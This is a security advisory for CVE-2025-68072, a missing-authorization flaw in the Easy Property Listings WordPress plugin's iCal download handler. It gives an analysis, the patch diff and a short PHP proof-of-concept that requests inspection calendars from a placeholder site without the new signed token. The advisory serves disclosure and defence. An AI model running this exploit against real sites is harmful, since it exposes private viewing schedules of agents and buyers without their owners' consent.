Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68072: Easy Property Listings <= 3.5.20 – Missing Authorization (easy-property-listings)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 3.5.20
Patched Version 3.5.21
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68072:
The Easy Property Listings WordPress plugin, versions up to and including 3.5.20, contains a missing authorization vulnerability in its iCal download functionality. This flaw allows unauthenticated attackers to download inspection calendar files for any published property listing, potentially exposing sensitive scheduling information. The CVSS score of 5.3 reflects a medium-severity information disclosure issue.

Atomic Edge research identifies the root cause in the `epl_process_event_cal_request()` function within `/lib/includes/template-functions.php`. The function processes requests for the `epl_cal_dl` parameter without verifying user permissions. The vulnerable code path begins at line 2370 where the function checks for the presence of `$_GET[‘epl_cal_dl’]`. It then proceeds to decode and process the `dt` and `propid` parameters from the request, ultimately generating and outputting an iCal file. No capability check or authentication validation exists before the file generation logic executes.

The exploitation method is straightforward. An attacker sends a GET request to any page on the WordPress site containing the specific parameters that trigger the iCal download handler. The request must include `epl_cal_dl=1`, `cal=ical`, a base64-encoded inspection time in the `dt` parameter, and a target property ID in the `propid` parameter. No authentication, nonce, or special headers are required. Attackers can enumerate valid property IDs and inspection times through other plugin features or brute-force techniques to harvest sensitive scheduling data.

The patch introduces a signed token validation mechanism to enforce authorization. Version 3.5.21 adds a new `epl_get_ical_download_token()` function that generates an HMAC-SHA256 token using the post ID, inspection time, and a secret derived from `wp_salt(‘nonce’)`. The iCal link generation in `class-epl-property-meta.php` (line 310) now includes this token as a `k` parameter. The `epl_process_event_cal_request()` function validates this token via `hash_equals()` before processing the download. A legacy access filter allows administrators to temporarily permit old-style requests, but by default, unauthenticated requests without a valid token are blocked.

Successful exploitation results in unauthorized information disclosure. Attackers can obtain detailed inspection schedules for properties, including date, time, and location data. This could facilitate physical security threats, harassment of agents or potential buyers, or competitive intelligence gathering. While the vulnerability does not permit modification or deletion of data, the exposure of private scheduling information represents a clear violation of confidentiality expectations for real estate listings.

Differential between vulnerable and patched code

Code Diff
--- a/easy-property-listings/easy-property-listings.php
+++ b/easy-property-listings/easy-property-listings.php
@@ -5,7 +5,7 @@
  * Description:  Fast. Flexible. Forward-thinking solution for real estate agents using WordPress. Easy Property Listing is one of the most dynamic and feature rich Real Estate plugin for WordPress available on the market today. Built for scale, contact generation and works with any theme!
  * Author: Merv Barrett
  * Author URI: https://www.realestateconnected.com.au/
- * Version: 3.5.20
+ * Version: 3.5.21
  * Text Domain: easy-property-listings
  * Domain Path: languages
  *
@@ -25,7 +25,7 @@
  * @package EPL
  * @category Core
  * @author Merv Barrett
- * @version 3.5.20
+ * @version 3.5.21
  */

 // Exit if accessed directly.
@@ -118,7 +118,7 @@
 		public function setup_constants() {
 			// Plugin version.
 			if ( ! defined( 'EPL_PROPERTY_VER' ) ) {
-				define( 'EPL_PROPERTY_VER', '3.5.20' );
+				define( 'EPL_PROPERTY_VER', '3.5.21' );
 			}
 			// Plugin DB version.
 			if ( ! defined( 'EPL_PROPERTY_DB_VER' ) ) {
--- a/easy-property-listings/lib/assets/assets-svg.php
+++ b/easy-property-listings/lib/assets/assets-svg.php
@@ -411,6 +411,7 @@
  * Initiate EPL listings & social Svgs.
  *
  * @since 3.4.32
+ * @since 3.5.21 Divi support for SVG icons when using Divi custom header.
  */
 function epl_init_svgs() {

@@ -419,19 +420,50 @@
 	$epl_social_svgs_loaded  = false;

 	/**
-	 * Load SVG using wp_body_open introduced in wp 5.2
+	 * Detect Divi.
 	 *
-	 * @since 3.4.31
+	 * We only switch away from wp_body_open if we're confident Divi is actually active.
 	 */
-	add_action( 'wp_body_open', 'epl_load_svg_listing_icons_head', 10 );
-	add_action( 'wp_footer', 'epl_load_svg_listing_icons_head', 900 );
+	$theme    = null;
+	$template = '';
+	$name     = '';
+
+	if ( function_exists( 'wp_get_theme' ) ) {
+		$theme    = wp_get_theme();
+		$template = strtolower( (string) $theme->get_template() );
+		$name     = strtolower( (string) $theme->get( 'Name' ) );
+	}
+
+	$is_divi = (
+		'divi' === $template ||
+		false !== strpos( $name, 'divi' ) ||
+		defined( 'ET_BUILDER_VERSION' ) ||
+		function_exists( 'et_setup_theme' ) ||
+		function_exists( 'et_divi_load_scripts_styles' )
+	);
+
+	$is_divi = apply_filters( 'epl_is_divi_theme', $is_divi );

 	/**
-	 * Load Social SVG using wp_body_open introduced in wp 5.2
-	 *
-	 * @since 3.4.31
+	 * Hook strategy:
+	 * - Default: wp_body_open + wp_footer fallback
+	 * - Divi: et_body_top + wp_footer fallback (avoid wp_body_open swallowing output but still setting globals)
 	 */
-	add_action( 'wp_body_open', 'epl_load_svg_social_icons_head', 10 );
+	if ( $is_divi ) {
+
+		// Divi body-top hook.
+		add_action( 'et_body_top', 'epl_load_svg_listing_icons_head', 10 );
+		add_action( 'et_body_top', 'epl_load_svg_social_icons_head', 10 );
+
+	} else {
+
+		// Standard WP hook.
+		add_action( 'wp_body_open', 'epl_load_svg_listing_icons_head', 10 );
+		add_action( 'wp_body_open', 'epl_load_svg_social_icons_head', 10 );
+	}
+
+	// Always keep footer fallback.
+	add_action( 'wp_footer', 'epl_load_svg_listing_icons_head', 900 );
 	add_action( 'wp_footer', 'epl_load_svg_social_icons_head', 900 );
 }
 add_action( 'wp', 'epl_init_svgs' );
--- a/easy-property-listings/lib/includes/admin/admin-functions.php
+++ b/easy-property-listings/lib/includes/admin/admin-functions.php
@@ -354,21 +354,43 @@
 }

 /**
- * Un-serialize Variable
+ * Safely unserialize base64 encoded data.
  *
- * @param string $data String of data to serialize.
+ * This helper decodes a base64 encoded string and attempts to unserialize it
+ * while applying several validation steps to reduce security risks.
+ *
+ * Security improvements:
+ * - Uses strict base64 decoding to prevent malformed input.
+ * - Validates that the decoded value is actually a serialized string before
+ *   attempting to unserialize it.
+ * - Prevents object injection by disabling object instantiation via the
+ *   `allowed_classes => false` option.
+ *
+ * If the input cannot be decoded or is not a valid serialized value, the
+ * function safely returns false instead of attempting to unserialize it.
  *
- * @return mixed un-serialized string.
  * @since  3.3.0
+ * @since  3.5.21 Hardened unserialize handling by enforcing strict base64 decoding, validating serialized input, and disabling object instantiation.
+ *
+ * @param string $data Base64 encoded serialized data.
+ * @return mixed|false Returns the unserialized value on success, or false if the
+ *                     input is invalid or cannot be safely unserialized.
  */
 function epl_unserialize( $data ) {
-	return unserialize( base64_decode( $data ) ); //phpcs:ignore
+	$decoded_data = base64_decode( trim( (string) $data ), true );
+
+	if ( false === $decoded_data || ! is_serialized( $decoded_data ) ) {
+		return false;
+	}
+
+	return unserialize( $decoded_data, array( 'allowed_classes' => false ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
 }

 /**
- * Import Tools Settings Screen
+ * Import/Export Tools Settings Screen
  *
  * @since 3.3
+ * @since 3.5.21 Added nonce protection to the export request to prevent CSRF.
  */
 function epl_settings_import_export() {

@@ -410,7 +432,18 @@

 	$tab = isset( $_GET['tab'] ) ? sanitize_text_field( wp_unslash( $_GET['tab'] ) ) : 'tools';

-	echo "<a class='button button-primary' href='" . esc_url( '?page=epl-tools&tab=$tab&action=export&epl_tools_submit=true' ) . "'>" . esc_html__( 'Download File', 'easy-property-listings' ) . '</a>';
+	$export_url = add_query_arg(
+		array(
+			'page'             => 'epl-tools',
+			'tab'              => $tab,
+			'action'           => 'export',
+			'epl_tools_submit' => 'true',
+		),
+		admin_url( 'admin.php' )
+	);
+	$export_url = wp_nonce_url( $export_url, 'epl_tools_export', 'epl_tools_export_nonce' );
+
+	echo "<a class='button button-primary' href='" . esc_url( $export_url ) . "'>" . esc_html__( 'Download File', 'easy-property-listings' ) . '</a>';
 	?>
 	<span style="color:#f00"><?php esc_html_e( 'The following settings are exported. Easy Property Listings settings screen and any Extension settings', 'easy-property-listings' ); ?></span>
 	<?php
@@ -474,9 +507,15 @@
  * @since 3.3.0
  * @since 3.5 Fixed import function.
  * @since 3.5.10 Fix: Tools Import function adjusted with more checked before performing the settings import.
+ * @since 3.5.21 Hardened tools request handling with capability checks, stricter sanitization, action allowlisting, and export nonce verification.
  */
 function epl_handle_tools_form() {
-	if ( ! isset( $_GET['page'] ) || 'epl-tools' !== $_GET['page'] || ! isset( $_REQUEST['epl_tools_submit'] ) ) {
+	$page = isset( $_REQUEST['page'] ) ? sanitize_key( wp_unslash( $_REQUEST['page'] ) ) : '';
+	if ( 'epl-tools' !== $page || ! isset( $_REQUEST['epl_tools_submit'] ) ) {
+		return;
+	}
+
+	if ( ! current_user_can( 'manage_options' ) ) {
 		return;
 	}

@@ -484,15 +523,20 @@
 		return;
 	}

-	$action = sanitize_text_field( wp_unslash( $_REQUEST['action'] ) );
+	$action = sanitize_key( wp_unslash( $_REQUEST['action'] ) );
+	if ( ! in_array( $action, array( 'export', 'import', 'reset' ), true ) ) {
+		return;
+	}
+
+	if ( 'export' === $action ) {
+		epl_verify_export_nonce();
+	}

 	if ( 'import' === $action ) {
 		epl_verify_nonce();
 		epl_validate_import_file();
 	}

-	$post_data = filter_input_array( INPUT_POST, FILTER_SANITIZE_STRING );
-
 	switch ( $action ) {
 		case 'export':
 			epl_export_settings();
@@ -510,6 +554,20 @@
 add_action( 'admin_init', 'epl_handle_tools_form' );

 /**
+ * Verify nonce for export tools action.
+ *
+ * @since 3.5.20
+ */
+function epl_verify_export_nonce() {
+	if (
+		! isset( $_GET['epl_tools_export_nonce'] ) ||
+		! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['epl_tools_export_nonce'] ) ), 'epl_tools_export' )
+	) {
+		wp_die( esc_html__( 'Sorry, your nonce did not verify.', 'easy-property-listings' ) );
+	}
+}
+
+/**
  * Verify nonce for the tools form.
  *
  * @since 3.5.10
@@ -527,6 +585,7 @@
  * Validate the import file.
  *
  * @since 3.5.10
+ * @since 3.5.21 Added stricter import upload validation (uploaded file checks, size limits, and file type/extension verification).
  */
 function epl_validate_import_file() {

@@ -534,11 +593,24 @@
 		wp_die( esc_html__( 'Missing import file. Please provide an import file.', 'easy-property-listings' ) );
 	}

+	$file_name = sanitize_file_name( wp_unslash( $_FILES['epl_import']['name'] ) );
+	$tmp_name  = isset( $_FILES['epl_import']['tmp_name'] ) ? wp_unslash( $_FILES['epl_import']['tmp_name'] ) : '';
+	$file_size = isset( $_FILES['epl_import']['size'] ) ? (int) $_FILES['epl_import']['size'] : 0;
+
 	if ( isset( $_FILES['epl_import']['error'] ) && $_FILES['epl_import']['error'] > 0 ) {
 		wp_die( esc_html__( 'Error uploading the import file.', 'easy-property-listings' ) );
 	}

-	if ( empty( $_FILES['epl_import']['type'] ) || ! in_array( strtolower( $_FILES['epl_import']['type'] ), array( 'text/plain' ), true ) ) {
+	if ( empty( $tmp_name ) || ! is_uploaded_file( $tmp_name ) || ! is_readable( $tmp_name ) ) {
+		wp_die( esc_html__( 'Invalid import upload.', 'easy-property-listings' ) );
+	}
+
+	if ( $file_size <= 0 || $file_size > wp_max_upload_size() ) {
+		wp_die( esc_html__( 'The selected import file size is not valid.', 'easy-property-listings' ) );
+	}
+
+	$file_check = wp_check_filetype_and_ext( $tmp_name, $file_name, array( 'txt' => 'text/plain' ) );
+	if ( empty( $file_check['ext'] ) || 'txt' !== strtolower( $file_check['ext'] ) ) {
 		wp_die( esc_html__( 'The file you uploaded does not appear to be a valid import file.', 'easy-property-listings' ) );
 	}
 }
@@ -569,21 +641,31 @@
  *
  * @since 3.5.10
  * @since 3.5.18 Check for data before continue.
+ * @since 3.5.21 Hardened import processing by reading from the uploaded temp file, validating file contents, and verifying unserialized data before updating options.
  */
 function epl_import_settings() {
-	if ( ! isset( $_FILES['epl_import'] ) ) {
+	if ( ! isset( $_FILES['epl_import']['tmp_name'] ) ) {
 		return;
 	}
-	$upload_overrides = array( 'test_form' => false );
-	$movefile         = wp_handle_upload( $_FILES['epl_import'], $upload_overrides ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- handled by wp_handle_upload.

-	if ( $movefile && ! isset( $movefile['error'] ) ) {
-		$imported_data  = epl_remote_url_get( $movefile['url'] );
-		$imported_data  = epl_unserialize( $imported_data );
-		$options_backup = get_option( 'epl_settings' );
-		update_option( 'epl_settings_backup', $options_backup );
-		$status = update_option( 'epl_settings', $imported_data );
+	$tmp_name = wp_unslash( $_FILES['epl_import']['tmp_name'] );
+	if ( ! is_readable( $tmp_name ) ) {
+		wp_die( esc_html__( 'Unable to read import file.', 'easy-property-listings' ) );
+	}
+
+	$imported_raw_data = file_get_contents( $tmp_name ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
+	if ( false === $imported_raw_data || '' === $imported_raw_data ) {
+		wp_die( esc_html__( 'Unable to read import file.', 'easy-property-listings' ) );
+	}
+
+	$imported_data = epl_unserialize( $imported_raw_data );
+	if ( ! is_array( $imported_data ) ) {
+		wp_die( esc_html__( 'The import file data is invalid.', 'easy-property-listings' ) );
 	}
+
+	$options_backup = get_option( 'epl_settings' );
+	update_option( 'epl_settings_backup', $options_backup );
+	update_option( 'epl_settings', $imported_data );
 }

 /**
--- a/easy-property-listings/lib/includes/class-epl-license.php
+++ b/easy-property-listings/lib/includes/class-epl-license.php
@@ -583,6 +583,7 @@
 		 *
 		 * @access  public
 		 * @return  void
+		 * @since  3.5.21 Fix: License notice message sanitization adjusted to run after sprintf(). Thanks DAnn2012.
 		 */
 		public function notices() {

@@ -614,7 +615,7 @@

 					default:
 						// translators: error.
-						$message = sprintf( wp_kses_post( __( 'There was a problem activating your license key, please try again or contact support. Error code: %s', 'easy-property-listings' ) ), $license_error->error );
+						$message = wp_kses_post( sprintf( __( 'There was a problem activating your license key, please try again or contact support. Error code: %s', 'easy-property-listings' ), $license_error->error ) );
 						break;

 				}
--- a/easy-property-listings/lib/includes/class-epl-property-meta.php
+++ b/easy-property-listings/lib/includes/class-epl-property-meta.php
@@ -250,6 +250,7 @@
 		 * @since 3.5.3  Fix: Deprecation warning - Make sure inspection time is not null before passing through trim.
 		 * @since 3.5.3  Update to use local timestamp.
 		 * @since 3.5.13 Tweak: Target blank added to ical link.
+		 * @since 3.5.21 Added a signed token to the iCal inspection link and switched URL generation to add_query_arg().
 		 */
 		public function get_property_inspection_times( $ical = true, $meta_key = 'property_inspection_times' ) {
 			if ( 'leased' === $this->get_property_meta( 'property_status' ) || 'sold' === $this->get_property_meta( 'property_status' ) ) {
@@ -303,7 +304,16 @@

 								} else {

-									$href = get_bloginfo( 'url' ) . '?epl_cal_dl=1&cal=ical&dt=' . base64_encode( htmlspecialchars( $element, ENT_QUOTES, 'UTF-8' ) ) . '&propid=' . $this->post->ID;
+									$href = add_query_arg(
+										array(
+											'epl_cal_dl' => 1,
+											'cal'        => 'ical',
+											'dt'         => base64_encode( htmlspecialchars( $element, ENT_QUOTES, 'UTF-8' ) ), // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
+											'propid'     => $this->post->ID,
+											'k'          => epl_get_ical_download_token( $this->post->ID, $element ),
+										),
+										home_url( '/' )
+									);

 									$href = apply_filters( 'epl_inspection_link', $href );

--- a/easy-property-listings/lib/includes/functions.php
+++ b/easy-property-listings/lib/includes/functions.php
@@ -142,6 +142,24 @@
 }

 /**
+ * Generate signed token for inspection iCal links.
+ *
+ * @param int    $post_id Post ID.
+ * @param string $inspection_time Inspection date/time string.
+ *
+ * @return string
+ * @since 3.5.21
+ */
+function epl_get_ical_download_token( $post_id, $inspection_time ) {
+	$post_id         = absint( $post_id );
+	$inspection_time = trim( (string) $inspection_time );
+	$payload         = $post_id . '|' . $inspection_time;
+	$secret          = apply_filters( 'epl_ical_token_secret', wp_salt( 'nonce' ) );
+
+	return hash_hmac( 'sha256', $payload, $secret );
+}
+
+/**
  * Register post type to EPL and WordPress
  *
  * @param string $post_type Post type name.
--- a/easy-property-listings/lib/includes/pagination.php
+++ b/easy-property-listings/lib/includes/pagination.php
@@ -356,16 +356,17 @@
  * @since 3.3.3
  * @since 3.5.1 Fixed shortcode pagination when permalinks are plain.
  * @since 3.5.3 Fixed sorting not working for pagination on shortcode.
+ * @since 3.5.21 Tweak for epl-search-builder ajax pagination.
  */
 function epl_get_next_page_link( $query ) {
 	$link = next_posts( $query->max_num_pages, false );

-	if ( $query->get( 'is_epl_shortcode' ) &&
-		in_array( $query->get( 'epl_shortcode_name' ), epl_get_shortcode_list(), true ) ) {
+	if ( ($query->get( 'is_epl_shortcode' ) &&
+		in_array( $query->get( 'epl_shortcode_name' ), epl_get_shortcode_list(), true ) ) || $query->is_epl_search ) {

 		$permalink_structure = get_option( 'permalink_structure' );

-		if ( empty( $permalink_structure ) ) {
+		if ( empty( $permalink_structure ) || $query->is_epl_search ) {

 			$page = $query->get( 'paged' );

@@ -416,16 +417,17 @@
  * @since 3.3.3
  * @since 3.5.1 Fixed shortcode pagination when permalinks are plain.
  * @since 3.5.3 Fixed sorting not working for pagination on shortcode.
+ * @since 3.5.21 Tweak for epl-search-builder ajax pagination.
  */
 function epl_get_prev_page_link( $query ) {

 	$link = previous_posts( false );

-	if ( $query->get( 'is_epl_shortcode' ) &&
-		in_array( $query->get( 'epl_shortcode_name' ), epl_get_shortcode_list(), true ) ) {
+	if ( ($query->get( 'is_epl_shortcode' ) &&
+		in_array( $query->get( 'epl_shortcode_name' ), epl_get_shortcode_list(), true ) ) || $query->is_epl_search ) {
 			$permalink_structure = get_option( 'permalink_structure' );

-		if ( empty( $permalink_structure ) ) {
+		if ( empty( $permalink_structure ) || $query->is_epl_search ) {

 			$page = $query->get( 'paged' );

@@ -446,14 +448,16 @@
 /**
  * Prev page Link
  *
- * @since 3.3.3
  * @param  WP_Query $query WP Query object.
  * @param  string   $label Pagination 'previous' label.
  * @return string
+ *
+ * @since 3.3.3
+ * @since 3.5.21 Tweak for epl-search-builder ajax pagination.
  */
 function epl_prev_post_link( $query, $label = null ) {

-	global $paged;
+	$paged = $query->get( 'paged' );

 	if ( $paged > 1 ) {

--- a/easy-property-listings/lib/includes/template-functions.php
+++ b/easy-property-listings/lib/includes/template-functions.php
@@ -2332,6 +2332,7 @@
  * @since 2.0.0
  * @since 3.4.9 Corrected issue where output was trimmed, added better unique ID and URL to output.
  * @since 3.5.7 Updated to allow passing of extra details to ical.
+ * @since 3.5.21 Sanitized generated iCal filename and added fallback filename handling.
  */
 function epl_create_ical_file( $start = '', $end = '', $name = '', $description = '', $location = '', $post_id = null ) {

@@ -2343,12 +2344,16 @@
 	$uid         = $post_id . time();
 	$url         = get_permalink( $post_id );
 	$prodid      = '-//' . get_bloginfo( 'name' ) . '/EPL//NONSGML v1.0//EN';
+	$file_name   = sanitize_file_name( $name );
+	if ( '' === $file_name ) {
+		$file_name = 'event';
+	}
 	$args        = get_defined_vars();
 	$args        = apply_filters( 'epl_ical_args', $args );
 	$data        = "BEGIN:VCALENDARnVERSION:2.0nPRODID:" . $args['prodid'] . "nMETHOD:PUBLISHnBEGIN:VEVENTnDTSTART:" . gmdate( 'YmdTHis', strtotime( $args['start'] ) ) . "nDTEND:" . gmdate( 'YmdTHis', strtotime( $args['end'] ) ) . "nLOCATION:" . $args['location'] . "nURL:" . $args['url'] . "nTRANSP:OPAQUEnSEQUENCE:0nUID:" . $args['uid'] . "nDTSTAMP:" . gmdate( 'YmdTHisZ' ) . "nSUMMARY:" . $args['name'] . "nDESCRIPTION:" . $args['description'] . "nPRIORITY:1nCLASS:PUBLICnBEGIN:VALARMnTRIGGER:-PT10080MnACTION:DISPLAYnDESCRIPTION:RemindernEND:VALARMnEND:VEVENTnEND:VCALENDARn";

 	header( 'Content-type:text/calendar' );
-	header( 'Content-Disposition: attachment; filename="' . $name . '.ics"' );
+	header( 'Content-Disposition: attachment; filename="' . $file_name . '.ics"' );
 	Header( 'Content-Length: ' . strlen( $data ) );
 	Header( 'Connection: close' );
 	echo $data; //phpcs:ignore
@@ -2362,6 +2367,7 @@
  * @since 3.5.7 Different subject for auction.
  * @since 3.5.16 Triple equals for auction value.
  * @since 3.5.20 ical access issue.
+ * @since 3.5.21 Added signed token validation for iCal download requests and introduced filterable iCal event description. iCal description now uses the excerpt instead of full content.
  */
 function epl_process_event_cal_request() {
 	global $epl_settings;
@@ -2384,6 +2390,14 @@
 		return;
 	}

+	$token = isset( $_GET['k'] ) ? sanitize_text_field( wp_unslash( $_GET['k'] ) ) : '';
+	$valid = ! empty( $token ) && hash_equals( epl_get_ical_download_token( $post_id, $item ), $token );
+
+	$allow_legacy_access = apply_filters( 'epl_allow_legacy_ical_access', false, $post_id, $item );
+	if ( ! $valid && ! $allow_legacy_access && ! current_user_can( 'manage_options' ) ) {
+		return;
+	}
+
 	$post = get_post( $post_id );
 	if ( is_null( $post ) || 'publish' !== $post->post_status || ! in_array( $post->post_type, epl_get_core_post_types(), true ) || post_password_required( $post_id ) ) {
 		return;
@@ -2443,7 +2457,10 @@
 	$address .= get_post_meta( $post_id, 'property_address_state', true ) . ' ';
 	$address .= get_post_meta( $post_id, 'property_address_postal_code', true );

-	epl_create_ical_file( $starttime, $endtime, $subject, wp_strip_all_tags( $post->post_content ), $address, $post_id );
+	$description = wp_strip_all_tags( get_the_excerpt( $post ) );
+	$description = apply_filters( 'epl_ical_description', $description, $post_id, $post, $item );
+
+	epl_create_ical_file( $starttime, $endtime, $subject, $description, $address, $post_id );
 }
 add_action( 'init', 'epl_process_event_cal_request' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-68072 - Easy Property Listings <= 3.5.20 - Missing Authorization

<?php

$target_url = 'https://vulnerable-site.com/';

// The property ID to target. This can often be found by browsing public listings.
$property_id = 123;

// A sample inspection time string. In a real attack, this might be gathered from public listing pages.
$inspection_time = '2025-01-15 14:00:00';

// Build the exploit URL. The dt parameter must be base64 encoded.
$encoded_time = base64_encode(htmlspecialchars($inspection_time, ENT_QUOTES, 'UTF-8'));
$exploit_url = $target_url . '?epl_cal_dl=1&cal=ical&dt=' . urlencode($encoded_time) . '&propid=' . $property_id;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check the response
if ($http_code === 200 && strpos($response, 'BEGIN:VCALENDAR') !== false) {
    echo "[SUCCESS] iCal file downloaded successfully.n";
    echo "Response preview:n";
    echo substr($response, 0, 500) . "...n";
    // In a real scenario, you would save the .ics file
} else {
    echo "[FAILURE] Exploit unsuccessful. HTTP Code: $http_coden";
    echo "Response preview:n";
    echo substr($response, 0, 500) . "...n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School